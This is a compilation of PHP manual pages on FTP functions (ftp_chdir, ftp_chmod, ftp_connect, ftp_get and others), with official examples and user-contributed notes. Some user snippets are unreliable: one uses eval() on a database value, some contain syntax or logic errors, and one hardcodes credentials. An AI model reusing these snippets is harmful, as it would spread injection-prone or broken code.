
  • ftp_chdir() - Changes the current directory on a FTP server
  • ftp_pwd() - Returns the current directory name

User Contributed Notes

rowie at free dot fr 11-Mar-2009 02:30
ftp_cdup can only up to the parent and if you want test a directory that is not a child then you can't with ftp_cdup ;)
rayfung at ioptional dot com 17-Jan-2009 08:50
i think ftp_cdup can make it more nice

function dirExists($ftp, $directory = '.') {
    if (@ftp_chdir($ftp, $directory)) {
        ftp_cdup($ftp);
        return TRUE;
    } return FALSE;
}
Anonymous 07-May-2008 09:01
The below example doesn't seem to work on a windows based machine so I use this trick instead

<?php

$aPath = explode('/',ftp_pwd($conn_id));
$sHomeDir = str_repeat('../', count($aPath) - 1);

ftp_chdir($conn_id, $sHomeDir);

?>
tom p 07-Dec-2005 04:01
I used a recursive cdup function until i realised i could navigate to the user's home directory from any location using ~:

<? ftp_chdir($connid, "~"); ?>
ftp_alloc
ftp_chdir
FTP Functions


Changes the current directory on a FTP server

ftp_cdup
ftp_chmod
FTP Functions
PHP Manual

ftp_chdir

(PHP 4, PHP 5)

ftp_chdir — Changes the current directory on a FTP server

Description

bool ftp_chdir ( resource $ftp_stream , string $directory )

Changes the current directory to the specified one.

Parameters

ftp_stream

The link identifier of the FTP connection.

directory

The target directory.

Return Values

Returns TRUE on success or FALSE on failure. If changing directory fails, PHP will also throw a warning.

Examples

Example #1 ftp_chdir() example

<?php

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// check connection
if ((!$conn_id) || (!$login_result)) {
    die("FTP connection has failed !");
}

echo "Current directory: " . ftp_pwd($conn_id) . "\n";

// try to change the directory to somedir
if (ftp_chdir($conn_id, "somedir")) {
    echo "Current directory is now: " . ftp_pwd($conn_id) . "\n";
} else {
    echo "Couldn't change directory\n";
}

// close the connection
ftp_close($conn_id);
?>

See Also

  • ftp_cdup() - Changes to the parent directory
  • ftp_pwd() - Returns the current directory name

User Contributed Notes

info at swiftyexpress dot com 26-Nov-2008 01:12
Works like the other functions in this page's notes, but this one doesn't make use of a global FTP connection, so it takes parameters like the other functions in the extension

<?php
function ftp_directory_exists($ftp, $dir)
{
    // Get the current working directory
    $origin = ftp_pwd($ftp);

    // Attempt to change directory, suppress errors
    if (@ftp_chdir($ftp, $dir))
    {
        // If the directory exists, set back to origin
        ftp_chdir($ftp, $origin);
        return true;
    }

    // Directory does not exist
    return false;
}
?>

[NOTE BY danbrown AT php DOT net: As the contributor mentions, the original function was noted here by (h3 AT valleyfield DOT net) on 13-JUL-2007.]
neil at 11 out of 10 16-Apr-2008 05:58
Thanks to h3 at valleyfield dot net

Same function with some minor changes and comments added

FTP function checks if a directory exists

<?php
function ftp_is_dir( $dir ) {
    global $ftpcon;
    // get current directory
    $original_directory = ftp_pwd( $ftpcon );
    // test if you can change directory to $dir
    // suppress errors in case $dir is not a file or not a directory
    if ( @ftp_chdir( $ftpcon, $dir ) ) {
        // If it is a directory, then change the directory back to the original directory
        ftp_chdir( $ftpcon, $original_directory );
        return true;
    }
    else {
        return false;
    }
}
?>
ftp_cdup
ftp_chmod
FTP Functions


Set permissions on a file via FTP

ftp_chdir
ftp_close
FTP Functions
PHP Manual

ftp_chmod

(PHP 5)

ftp_chmod — Set permissions on a file via FTP

Description

int ftp_chmod ( resource $ftp_stream , int $mode , string $filename )

Sets the permissions on the specified remote file to mode.

Parameters

ftp_stream

The link identifier of the FTP connection.

mode

The new permissions, given as an octal value.

filename

The remote file.

Return Values

Returns the new file permissions on success or FALSE on error.

Examples

Example #1 ftp_chmod() example

<?php
$file = 'public_html/index.php';

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// try to chmod $file to 644
if (ftp_chmod($conn_id, 0644, $file) !== false) {
 echo "$file chmoded successfully to 644\n";
} else {
 echo "could not chmod $file\n";
}

// close the connection
ftp_close($conn_id);
?>

See Also

  • chmod() - Changes file mode

User Contributed Notes

DanN 16-Nov-2009 11:17
Just wanted to contribute a quick note for those who are still experiencing issues with changing the permissions via FTP.

If you are having trouble with PHP recognizing the mode as an integer, you can take the previous poster's method:

$mode = octdec ( str_pad ( $mode, 4, '0', STR_PAD_LEFT ) );

And add the following snippet right after:

$mode = (int) $mode;

This will force PHP to recognize the mode as an integer when you do:

ftp_chmod ( $conn_id, $mode, $path );

These together never seem to fail for me.
Maarten Wolzak 22-Sep-2009 03:15
Using the excellent octdec and decoct functions you can make this easy:

<?php
$mode = "644";
$mode = octdec( str_pad($mode,4,'0',STR_PAD_LEFT) );
ftp_chmod($ftp_stream, $mode, $file);
?>
rperea at vsourceweb dot com 21-Dec-2008 09:26
It took me a while to figure out how to use this function in my situation because I needed the $mode to be passed to this function as a variable that was read from a database. Since the database returns the value as an integer without a leading zero, I could not get the operation to work because adding a leading zero in PHP turns the value into a string.

For example, this does not work in my situation:

<?php
// Assume that this is the value returned from the database.
$mode = 644;

// Now try to chmod using this value.
ftp_chmod($conn_id, $mode, 'test.txt');

// The file now has permissions of 204 and not 644
?>

Adding a leading zero doesn't work either:

<?php
// Assume that this is the value returned from the database.
$mode = 644;

// Now try to chmod using this value.
ftp_chmod($conn_id, '0'.$mode, 'test.txt');

// The file now has permissions of 204 and not 644
?>

I tried many ways to get it to work even converting it from oct to dec using octdec and then back to decoct and nothing worked. This is the only way I was able to get it to work, with an eval statement.

<?php
// Assume that this is the value returned from the database.
$mode = 644;

// Turn the mode into a string
$np = '0'.$mode;

// Now run chmod with the eval'd string parsed as an integer.
ftp_chmod($conn_id, eval("return({$np});"), 'test.txt');

// The file now has permissions of 644
?>

Of course, you will have to make sure that the value of $mode only contains 3 digits. Always do checking on your values before handing it off to eval().
cspiegl at kwask dot de 21-Apr-2008 12:30
Ok,
so if 2 people say that my way is wrong and the other is right, i will take mine back.
I posted it cause for me just the way i used it worked (i don't know why)

AND: i would not say something like: "I would try before post", in my opinion that is realy unfriendly, cause i tryed!
tiefenbrunner at obdev dot at 17-Dec-2007 05:19
The "mode" parameter of the PHP5 ftp_chmod function is an integer value that is supposed to be given as an octal number, like the argument for the "chmod" command line tool.

Thus the sprintf must use the %o formatting character, so that the passed integer value is really represented as an octal number to the CHMOD site command for the FTP server.

So, IMHO, rabin's version is correct (it definitely worked for me).
Josh at jcr dot com 13-Sep-2007 10:13
rabin's code works just fine as a replacement for ftp_chmod().
I would try that before trying cspiegl's solution for pre-php 5 installations.
cspiegl at KwasK dot de 31-Aug-2007 01:36
Hi,
The commet with the "ftp_site" is not correct!
You must use it like this:

<?php
if (!function_exists('ftp_chmod')) {
    function ftp_chmod($ftp_stream, $mode, $filename)
    {
        return ftp_site($ftp_stream, sprintf('CHMOD %u %s', $mode, $filename));
    }
}
?>
rabin at rab dot in 23-May-2006 03:21
As mentioned in the note below, the function posted by "hardy add mapscene dot com" works incorrectly if used with an octal mode, the way the php5 function is used.

This function works exactly like the the php5 one:

<?php
if (!function_exists('ftp_chmod')) {
    function ftp_chmod($ftp_stream, $mode, $filename)
    {
        return ftp_site($ftp_stream, sprintf('CHMOD %o %s', $mode, $filename));
    }
}
?>
ftp_chdir
ftp_close
FTP Functions


Closes an FTP connection

ftp_chmod
ftp_connect
FTP Functions
PHP Manual

ftp_close

(PHP 4 >= 4.2.0, PHP 5)

ftp_close — Closes an FTP connection

Description

bool ftp_close ( resource $ftp_stream )

ftp_close() closes the given link identifier and releases the resource.

Note:

After calling this function, you can no longer use the FTP connection and must create a new one with ftp_connect().

Parameters

ftp_stream

The link identifier of the FTP connection.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ftp_close() example

<?php

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// print the current directory
echo ftp_pwd($conn_id); // /

// close this connection
ftp_close($conn_id);
?>

See Also

  • ftp_connect() - Opens an FTP connection

User Contributed Notes

There are no user contributed notes for this page.
ftp_chmod
ftp_connect
FTP Functions


Opens an FTP connection

ftp_close
ftp_delete
FTP Functions
PHP Manual

ftp_connect

(PHP 4, PHP 5)

ftp_connect — Opens an FTP connection

Description

resource ftp_connect ( string $host [, int $port = 21 [, int $timeout = 90 ]] )

ftp_connect() opens an FTP connection to the specified host.

Parameters

host

The FTP server address. This parameter shouldn't have any trailing slashes and shouldn't be prefixed with ftp://.

port

This parameter specifies an alternate port to connect to. If it is omitted or set to zero, then the default FTP port, 21, will be used.

timeout

This parameter specifies the timeout for all subsequent network operations. If omitted, the default value is 90 seconds. The timeout can be changed and queried at any time with ftp_set_option() and ftp_get_option().

Return Values

Returns a FTP stream on success or FALSE on error.

Examples

Example #1 ftp_connect() example

<?php

$ftp_server = "ftp.example.com";

// set up a connection or die
$conn_id = ftp_connect($ftp_server) or die("Couldn't connect to $ftp_server");

?>

Changelog

Version | Description
4.2.0 | timeout was added.

See Also

  • ftp_close() - Closes an FTP connection
  • ftp_ssl_connect() - Opens an Secure SSL-FTP connection

User Contributed Notes

jcornell att chapter zero dot com 19-Aug-2010 10:48
Although an FTP port is always a number, if you specify it as one like this:

<?php $ftp = ftp_connect('example.com',210); ?>

You'll get a non-intuitive error. This, however, works [note the quotes]:

<?php $ftp = ftp_connect('example.com','210'); ?>
sean at boyercentral dot net 24-Mar-2009 05:05
Ever needed to create an FTP connection resource defaulted to a particular dir from a URI? Here's a simple function that will take a URI like ftp://username:password@subdomain.example.com/path1/path2/, and return an FTP connection resource.

<?php
function getFtpConnection($uri)
{
    // Split FTP URI into:
    // $match[0] = ftp://username:password@sld.domain.tld/path1/path2/
    // $match[1] = ftp://
    // $match[2] = username
    // $match[3] = password
    // $match[4] = sld.domain.tld
    // $match[5] = /path1/path2/
    preg_match("/ftp:\/\/(.*?):(.*?)@(.*?)(\/.*)/i", $uri, $match);

    // Set up a connection
    $conn = ftp_connect($match[1] . $match[4] . $match[5]);

    // Login
    if (ftp_login($conn, $match[2], $match[3]))
    {
        // Change the dir
        ftp_chdir($conn, $match[5]);

        // Return the resource
        return $conn;
    }

    // Or retun null
    return null;
}
?>
brandon dot farber at gmail dot com 10-Oct-2005 12:06
In testing, I have been unable to establish any socket connections (including FTP connections) on shutdown.  This is important if you are trying to save the FTP transfer to run after the php script has been executed (using register_shutdown_function).  I am unaware of any configuration options that control this, and I have found this affects any socket connections I have tried to establish after shutdown.

The same code works fine if it is executed at runtime, rather than on shutdown.  Since I found no documentation of this behavior, I felt it important to note somewhere.  May also be useful if this was crosslinked to fsockopen comments as well.
rainer at justchords dot com 11-Nov-2003 03:07
Connecting through a firewall also depends on the type. This is an example for the Secure Gateway FTP. First you have to connect to the firewall, then open a session to the destination ftp server. This looks like this:

// Connect to firewall
$conn_id = ftp_connect("firewall.yournet.com");

// Open a session to an external ftp site
$login_result = ftp_login ($conn_id, "userid@externalhost.com", "password");

// Check open
if ((!$conn_id) || (!$login_result)) {
        echo "Ftp-connect failed!"; die;
    } else {
        echo "Connected.";
    }

// turn on passive mode transfers
ftp_pasv ($conn_id, true) ;

... and go on ...
thomas g. 03-Mar-2003 03:35
always keep an eye on the ftp_pasv function, if you are behind a firewall or nat'ed and your scripts won't do a listing or put files to the ftp
ftp_close
ftp_delete
FTP Functions


Deletes a file on the FTP server

ftp_connect
ftp_exec
FTP Functions
PHP Manual

ftp_delete

(PHP 4, PHP 5)

ftp_delete — Deletes a file on the FTP server

Description

bool ftp_delete ( resource $ftp_stream , string $path )

ftp_delete() deletes the file specified by path from the FTP server.

Parameters

ftp_stream

The link identifier of the FTP connection.

path

The file to delete.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ftp_delete() example

<?php
$file = 'public_html/old.txt';

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// try to delete $file
if (ftp_delete($conn_id, $file)) {
 echo "$file deleted successful\n";
} else {
 echo "could not delete $file\n";
}

// close the connection
ftp_close($conn_id);
?>

User Contributed Notes

oritatelodoy at hotmail dot com 06-Aug-2009 10:42
you can delete a file with a normal unlink function in the php api
webmaster at iamsowonderful dot com 03-Apr-2005 10:37
You can make a script delete itself with ftp_delete!

It's pretty useful when creating an install script which you want to destroy at the end of the installation to prevent it from being run later.

On Linux machines, very often the user uploads third party scripts, and gets asked to CHMOD this and delete that manually because the webserver user is different from the FTP user ; make them enter their FTP info and get rid of the tedious file manipulation step!

Be careful, though. You will need to flush the output buffer and call ftp_delete at the end of the script, or else the script will die before it fully executes. Look up ob_end_flush for more info.
ftp_connect
ftp_exec
FTP Functions


Requests execution of a command on the FTP server

ftp_delete
ftp_fget
FTP Functions
PHP Manual

ftp_exec

(PHP 4 >= 4.0.3, PHP 5)

ftp_exec — Requests execution of a command on the FTP server

Description

bool ftp_exec ( resource $ftp_stream , string $command )

Sends a SITE EXEC command request to the FTP server.

Parameters

ftp_stream

The link identifier of the FTP connection.

command

The command to execute.

Return Values

Returns TRUE if the command was successful (server sent response code: 200); otherwise returns FALSE.

Examples

Example #1 ftp_exec() example

<?php

// variable initialization
$command = 'ls -al >files.txt';

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// execute command
if (ftp_exec($conn_id, $command)) {
    echo "$command executed successfully\n";
} else {
    echo "could not execute $command\n";
}

// close the connection
ftp_close($conn_id);

?>

See Also

  • ftp_raw() - Sends an arbitrary command to an FTP server

User Contributed Notes

chris dot pittman at sonopress dot com 15-Sep-2005 06:34
I've been using the php ftp functions pretty extensively at work.  We've recently discovered that some of the ftp servers we connect to, paticularly in Europe, are using extended passive mode.  On a server using extended passive mode the php ftp functions will timeout.  For those of you who encounter this, the solution is to send the command:

ftp_exec (conn_id, 'epsv4 off' );

Do this immediately after ftp_login and you should be fine.
sam at totallydigital dot co dot nz 16-Dec-2003 01:34
A word of caution, execution via FTP isn't very widely supported.  Check that it works on the servers that you intend to connect to before you start coding something that requires this.
ftp_delete
ftp_fget
FTP Functions


Downloads a file from the FTP server and saves to an open file

ftp_exec
ftp_fput
FTP Functions
PHP Manual

ftp_fget

(PHP 4, PHP 5)

ftp_fget — Downloads a file from the FTP server and saves to an open file

Description

bool ftp_fget ( resource $ftp_stream , resource $handle , string $remote_file , int $mode [, int $resumepos = 0 ] )

ftp_fget() retrieves remote_file from the FTP server, and writes it to the given file pointer.

Parameters

ftp_stream

The link identifier of the FTP connection.

handle

An open file pointer in which we store the data.

remote_file

The remote file path.

mode

The transfer mode. Must be either FTP_ASCII or FTP_BINARY.

resumepos

The position in the remote file to start downloading from.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ftp_fget() example

<?php

// path to remote file
$remote_file = 'somefile.txt';
$local_file = 'localfile.txt';

// open some file to write to
$handle = fopen($local_file, 'w');

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// try to download $remote_file and save it to $handle
if (ftp_fget($conn_id, $handle, $remote_file, FTP_ASCII, 0)) {
 echo "successfully written to $local_file\n";
} else {
 echo "There was a problem while downloading $remote_file to $local_file\n";
}

// close the connection and the file handler
ftp_close($conn_id);
fclose($handle);
?>

Changelog

Version | Description
4.3.0 | resumepos was added.

See Also

  • ftp_get() - Downloads a file from the FTP server
  • ftp_nb_get() - Retrieves a file from the FTP server and writes it to a local file (non-blocking)
  • ftp_nb_fget() - Retrieves a file from the FTP server and writes it to an open file (non-blocking)

User Contributed Notes

broom at alturnanetworks dot com 03-Oct-2008 04:49
<?php
/**
 * Function returns contents via FTP connection and returns it as string (right version...)
 */
function ftp_get_contents ($conn_id, $filename) {
    //Create temp handler:
    $tempHandle = fopen('php://temp', 'r+');

    //Get file from FTP:
    if (@ftp_fget($conn_id, $tempHandle, $filename, FTP_ASCII, 0)) {
        rewind($tempHandle);
        return stream_get_contents($tempHandle);
    } else {
        return false;
    }
}
?>
broom at alturnanetworks dot com 03-Oct-2008 04:18
Another ftp_get_contents approach, using a temperary stream handler. Returns file contents as string.

<?php
function ftp_get_contents ($conn_id, $filename,
//Create temp handler:
    $tempHandle = fopen('php://temp', 'r+');

//Get file from FTP assuming that it exists:
    ftp_fget($conn_id, $tempHandle, $filename, FTP_ASCII, 0));

    //Getting detailed stats to check filesize:
    $fstats = fstat($tempHandle);

    return fread($tempHandle, $fstats['size']);
}
?>
justrafi at gmail dot com 06-Feb-2008 08:44
I was in need to synchronize two folders on two separate servers, one is a Windows server, and the other is a Linux server. I created this short and sweet function to help me do this. PLEASE NOTICE: This will not copy folders, and probably will fail if remote folder contains anything else than files.

function sync_folders($host, $port, $username, $password, $remote_dir, $local_dir, $passive_mode = true) {
    $conn_id = ftp_connect($host, $port);
    if (!$conn_id) return false; # fail to connect
    if (!ftp_login($conn_id, $username, $password)) { ftp_close($conn_id); return false; }  # fail to login
    ftp_pasv($conn_id, $passive_mode);
    if (!ftp_chdir($conn_id, $remote_dir)) { ftp_close($conn_id); return false; } # fail to change dir
    if (substr($local_dir, -1) != '/') $local_dir .= '/';

    $list = ftp_nlist($conn_id, '.');
    sort($list);
    foreach ($list as $file) {
        if (!file_exists($local_dir . $file)) {
            $is_copied = ftp_get($conn_id, $local_dir . $file, $file, FTP_BINARY);
        }
    }
    ftp_close($conn_id);
    return true;
}
rodrigo-rocha at oi dot net dot br 06-Sep-2002 07:56
If you suply only a filename to the second parameter of function the ftp_get will open a pointer to the local file creating it and write to it.It's ok if your server dont execute for to mutch time and you dont get too many files but if you do it too many times the pointers created by ftp_get will not be closed and will end your opened files capacity at your server making it to do not open any more files until you restart it.
ftp_exec
ftp_fput
FTP Functions


Uploads from an open file to the FTP server

ftp_fget
ftp_get_option
FTP Functions
PHP Manual

ftp_fput

(PHP 4, PHP 5)

ftp_fput — Uploads from an open file to the FTP server

Description

bool ftp_fput ( resource $ftp_stream , string $remote_file , resource $handle , int $mode [, int $startpos = 0 ] )

ftp_fput() uploads the data from a file pointer to a remote file on the FTP server.

Parameters

ftp_stream

The link identifier of the FTP connection.

remote_file

The remote file path.

handle

An open file pointer on the local file. Reading stops at end of file.

mode

The transfer mode. Must be either FTP_ASCII or FTP_BINARY.

startpos

The position in the remote file to start uploading to.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ftp_fput() example

<?php

// open some file for reading
$file = 'somefile.txt';
$fp = fopen($file, 'r');

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// try to upload $file
if (ftp_fput($conn_id, $file, $fp, FTP_ASCII)) {
    echo "Successfully uploaded $file\n";
} else {
    echo "There was a problem while uploading $file\n";
}

// close the connection and the file handler
ftp_close($conn_id);
fclose($fp);

?>

Changelog

Version | Description
4.3.0 | startpos was added.

See Also

  • ftp_put() - Uploads a file to the FTP server
  • ftp_nb_fput() - Stores a file from an open file to the FTP server (non-blocking)
  • ftp_nb_put() - Stores a file on the FTP server (non-blocking)

User Contributed Notes

jevin 22-Nov-2011 11:24
You might also want to note that ftp_fput will overwrite any existing file.
timgolding_10 at hotmail dot com 26-Apr-2009 07:48
If when using fput you get the one of the following errors:

Warning: ftp_fput() [function.ftp-fput]: Opening ASCII mode data connection

Warning: ftp_fput() [function.ftp-fput]: Opening BINARY mode data connection

and it creates the file in the correct location but is a 0kb file and all FTP commands thereafter fail. It is likely that the client is behind a firewall. To rectify this use:

<?php
ftp_pasv($resource, true);
?>

Before executing any put commands. Took me so long to figure this out I actually cheered when I did :D
rok dot meglic at gmail dot com 07-Nov-2008 04:35
Make sure you chdir to remote directory before using ftp_put or else ftp_put will just return error that it cannot create file. After you do the chdir you should NOT pass the whole path of file to ftp_put but just basename (filename). See example for more info.

Example:
<?php
$locpath = 'local_path/resources/js/test.js';
$rempath = 'resources/js/';
$remFile = 'test.js';

ftp_chdir($this->conn_id, $rempath);
ftp_put($this->conn_id, $remFile, $locpath, FTP_BINARY);
?>
robert b 12-Sep-2008 02:43
Using jopi paranoid fi's example, tmpfile() works on PHP 4 and 5 instead of using the php://temp file.
jopi paranoid fi 20-May-2008 12:57
When you have your file contents as a string, create temporary stream and use that as a file handle.

<?php

$contents = "This is a test file\nTesting 1,2,3..";

$tempHandle = fopen('php://temp', 'r+');
fwrite($tempHandle, $contents);
rewind($tempHandle);

ftp_fput($this->ftp, $filename, $tempHandle, FTP_ASCII);

?>
Charlie Brown 16-Apr-2008 02:19
Fails if destination file exists. Delete first and it works.
info at daniel-marschall dot de 19-Apr-2006 12:04
This is a function i wrote to copy a complete directory to a FTP-Server-folder.

function ftp_uploaddirectory($conn_id, $local_dir, $remote_dir)
{
  @ftp_mkdir($conn_id, $remote_dir);
  $handle = opendir($local_dir);
  while (($file = readdir($handle)) !== false)
  {
    if (($file != '.') && ($file != '..'))
    {
      if (is_dir($local_dir.$file))
      {
        ftp_uploaddirectory($conn_id, $local_dir.$file.'/', $remote_dir.$file.'/');
      }
      else
        $f[] = $file;
    }
  }
  closedir($handle);
  if (count($f))
  {
    sort($f);
    @ftp_chdir($conn_id, $remote_dir);
    foreach ($f as $files)
    {
      $from = @fopen("$local_dir$files", 'r');
      @ftp_fput($conn_id, $files, $from, FTP_BINARY);
    }
  }
}

Example:

$conn_id = @ftp_connect($server);
@ftp_login ($conn_id, $username, $passwort);
ftp_uploaddirectory($conn_id, 'mydirectory/', 'theftpdirectory/');
@ftp_quit($conn_id);

I hope you'll find it useful.
BobFrank <rsfranc at yahoo dot com dot br> 23-Aug-2003 09:10
FTP upload server 2 server
<?php
$FTP_HOST ="ftp.br.geocities.com";
$FTP_USER ="bobfrank";
$FTP_PW   ="mypasswd";
$FTP_ROOT_DIR="/";
$LOCAL_SERVER_DIR  = "images/";
$FTP_DIR = "mydir/";
$handle=opendir($LOCAL_SERVER_DIR);
while (($file = readdir($handle))!==false)
{
    if(!is_dir($file)){
        $f[]="$file";
      }
}
closedir($handle);
sort($f);
$count=0;
$mode = FTP_BINARY; // or FTP_ASCII
$conn_id = ftp_connect($FTP_HOST);
if(ftp_login($conn_id, $FTP_USER, $FTP_PW)){
    print "from: ".$LOCAL_SERVER_DIR."<br>";
    print "to: ".$FTP_HOST.$FTP_ROOT_DIR.$FTP_DIR."<br>";
    ftp_pwd($conn_id);
    ftp_mkdir($conn_id,$FTP_DIR);
    ftp_chdir($conn_id,$FTP_DIR);
    foreach($f as $files) {
        $from = fopen($LOCAL_SERVER_DIR.$files,"r");
        if(ftp_fput($conn_id, $files, $from, $mode)){
            $count +=1;
            print $files."<br>";
        }
    }
    ftp_quit($conn_id);
}
print "upload : $count files.";
?>
darian lassan at yahoo de 04-Feb-2003 10:00
If you want to pass a string containing the filename as source and not a resource handle use ftp_put() instead. Trivial but not mentioned here.
ftp_fget
ftp_get_option
FTP Functions


Retrieves various runtime behaviours of the current FTP stream

ftp_fput
ftp_get
FTP Functions
PHP Manual

ftp_get_option

(PHP 4 >= 4.2.0, PHP 5)

ftp_get_option — Retrieves various runtime behaviours of the current FTP stream

Description

mixed ftp_get_option ( resource $ftp_stream , int $option )

This function returns the value for the requested option from the specified FTP connection.

Parameters

ftp_stream

The link identifier of the FTP connection.

option

Currently, the following options are supported:

Supported runtime FTP options
FTP_TIMEOUT_SEC | Returns the current timeout used for network related operations.
FTP_AUTOSEEK | Returns TRUE if this option is on, FALSE otherwise.

Return Values

Returns the value on success or FALSE if the given option is not supported. In the latter case, a warning message is also thrown.

Examples

Example #1 ftp_get_option() example

<?php
// Get the timeout of the given FTP stream
$timeout = ftp_get_option($conn_id, FTP_TIMEOUT_SEC);
?>

See Also

  • ftp_set_option() - Set miscellaneous runtime FTP options

User Contributed Notes

There are no user contributed notes for this page.
ftp_fput
ftp_get
FTP Functions


Downloads a file from the FTP server

ftp_get_option
ftp_login
FTP Functions
PHP Manual

ftp_get

(PHP 4, PHP 5)

ftp_get — Downloads a file from the FTP server

Description

bool ftp_get ( resource $ftp_stream , string $local_file , string $remote_file , int $mode [, int $resumepos = 0 ] )

ftp_get() retrieves a remote file from the FTP server, and saves it into a local file.

Parameters

ftp_stream

The link identifier of the FTP connection.

local_file

The local file path (will be overwritten if the file already exists).

remote_file

The remote file path.

mode

The transfer mode. Must be either FTP_ASCII or FTP_BINARY.

resumepos

The position in the remote file to start downloading from.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ftp_get() example

<?php

// define some variables
$local_file = 'local.zip';
$server_file = 'server.zip';

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// try to download $server_file and save to $local_file
if (ftp_get($conn_id, $local_file, $server_file, FTP_BINARY)) {
    echo "Successfully written to $local_file\n";
} else {
    echo "There was a problem\n";
}

// close the connection
ftp_close($conn_id);

?>

Changelog

Version | Description
4.3.0 | resumepos was added.

See Also

  • ftp_pasv() - Turns passive mode on or off
  • ftp_fget() - Downloads a file from the FTP server and saves to an open file
  • ftp_nb_get() - Retrieves a file from the FTP server and writes it to a local file (non-blocking)
  • ftp_nb_fget() - Retrieves a file from the FTP server and writes it to an open file (non-blocking)

User Contributed Notes

danny at ingeniarte dot com 25-Nov-2010 03:37
Remember to use the full server paths to the directories you are working on. Server paths are not the same as "ftp paths".

I was using the path displayed on my FTP client to download and upload files and I kept getting "Not found" or "Permission Denied" errors.
CuDi 22-Oct-2009 07:50
I tried to ftp a 7mb file today off my webserver.

I copied this example directly and it told me.

Port command successful
"there was a problem"

I thought it was because of the size.
But I guessed it might be cause of my firewall.

So I made the ftp connection passive:

<?PHP

  ...
  $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
  ftp_pasv($conn_id, true);

?>

Ran the script again & it worked fine.

Hope this helps someone
mroerick at gmx dot net 15-May-2009 12:42
ftp_sync is a way to walk the directory structure on the server and copy every directory and file to the same location locally.

<?php
$ftp_server = "ftp.example.com";
$conn_id = ftp_connect ($ftp_server)
    or die("Couldn't connect to $ftp_server");

$login_result = ftp_login($conn_id, "user", "pass");
if ((!$conn_id) || (!$login_result))
    die("FTP Connection Failed");

ftp_sync ("DirectoryToCopy");    // Use "." if you are in the current directory

ftp_close($conn_id);

// ftp_sync - Copy directory and file structure
function ftp_sync ($dir) {

    global $conn_id;

    if ($dir != ".") {
        if (ftp_chdir($conn_id, $dir) == false) {
            echo ("Change Dir Failed: $dir<BR>\r\n");
            return;
        }
        if (!(is_dir($dir)))
            mkdir($dir);
        chdir ($dir);
    }

    $contents = ftp_nlist($conn_id, ".");
    foreach ($contents as $file) {

        if ($file == '.' || $file == '..')
            continue;

        if (@ftp_chdir($conn_id, $file)) {
            ftp_chdir ($conn_id, "..");
            ftp_sync ($file);
        }
        else
            ftp_get($conn_id, $file, $file, FTP_BINARY);
    }

    ftp_chdir ($conn_id, "..");
    chdir ("..");

}
?>
w dot danford at electronics-software dot com 10-Nov-2008 02:06
A subtle issue with the ftp_get() function. The second param, string $local_file, is a file name on the SERVER running the php script. It is NOT a file on the client machine running the browser. I erroneously tried to use this ftp to download a file from my site to my local system. I entered the full path starting with the drive letter ("h:/...") on a system running WIN XP and kept getting a failure of unable to open (destination) file. Only after just putting in a file name with no pathing did I see where the file was written. It was in the directory on my site where the php script is located (hosting is managed shared LAMP server which supports multiple url's, GoDaddy hosting).
Nate from ruggfamily.com 22-Oct-2008 02:12
Here's a quick function that figures out the correct mode to use based on a file's extension.

<?php
function get_ftp_mode($file)
{
    $path_parts = pathinfo($file);

    if (!isset($path_parts['extension'])) return FTP_BINARY;
    switch (strtolower($path_parts['extension'])) {
        case 'am':case 'asp':case 'bat':case 'c':case 'cfm':case 'cgi':case 'conf':
        case 'cpp':case 'css':case 'dhtml':case 'diz':case 'h':case 'hpp':case 'htm':
        case 'html':case 'in':case 'inc':case 'js':case 'm4':case 'mak':case 'nfs':
        case 'nsi':case 'pas':case 'patch':case 'php':case 'php3':case 'php4':case 'php5':
        case 'phtml':case 'pl':case 'po':case 'py':case 'qmail':case 'sh':case 'shtml':
        case 'sql':case 'tcl':case 'tpl':case 'txt':case 'vbs':case 'xml':case 'xrc':
            return FTP_ASCII;
    }
    return FTP_BINARY;
}

// sample usage
ftp_get($conn_id, $local_file, $server_file, get_ftp_mode($server_file));
?>
Aditya P dot Bhatt (adityabhai at gmail dot com) 25-Mar-2008 03:40
<?php
                // define some variables
        $folder_path = "YOUR FOLDER PATH";
        $local_file = "LOCAL FILE PATH";
        $server_file = "SERVER FILE PATH";

        //-- Connection Settings
        $ftp_server = "IP ADDRESS"; // Address of FTP server.
        $ftp_user_name = "USERNAME"; // Username
        $ftp_user_pass = "PASSWORD"; // Password
        #$destination_file = "FILEPATH";

        // set up basic connection
        $conn_id = ftp_connect($ftp_server);

        // login with username and password
        $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

        // try to download $server_file and save to $local_file
        if (ftp_get($conn_id, $local_file, $server_file, FTP_BINARY)) {
            echo "Successfully written to $local_file\n";
        } else {
            echo "There was a problem\n";
        }

        // close the connection
        ftp_close($conn_id);
?>
anomie at users dot sf dot net 30-Jan-2007 07:24
Crud. The _nb_ only refers to reading from the ftp server, and the buffer in the socket pair is only about 364 bytes. So it doesn't work for files larger than that size.
anomie at users dot sf dot net 25-Jan-2007 09:50
Why there isn't an "ftp_get_contents" function, I don't know. It takes a little work to emulate one, but it's doable.
<?php
function ftp_get_contents($ftp_stream, $remote_file, $mode, $resume_pos=null){
    $pipes=stream_socket_pair(STREAM_PF_UNIX, STREAM_SOCK_STREAM, STREAM_IPPROTO_IP);
    if($pipes===false) return false;
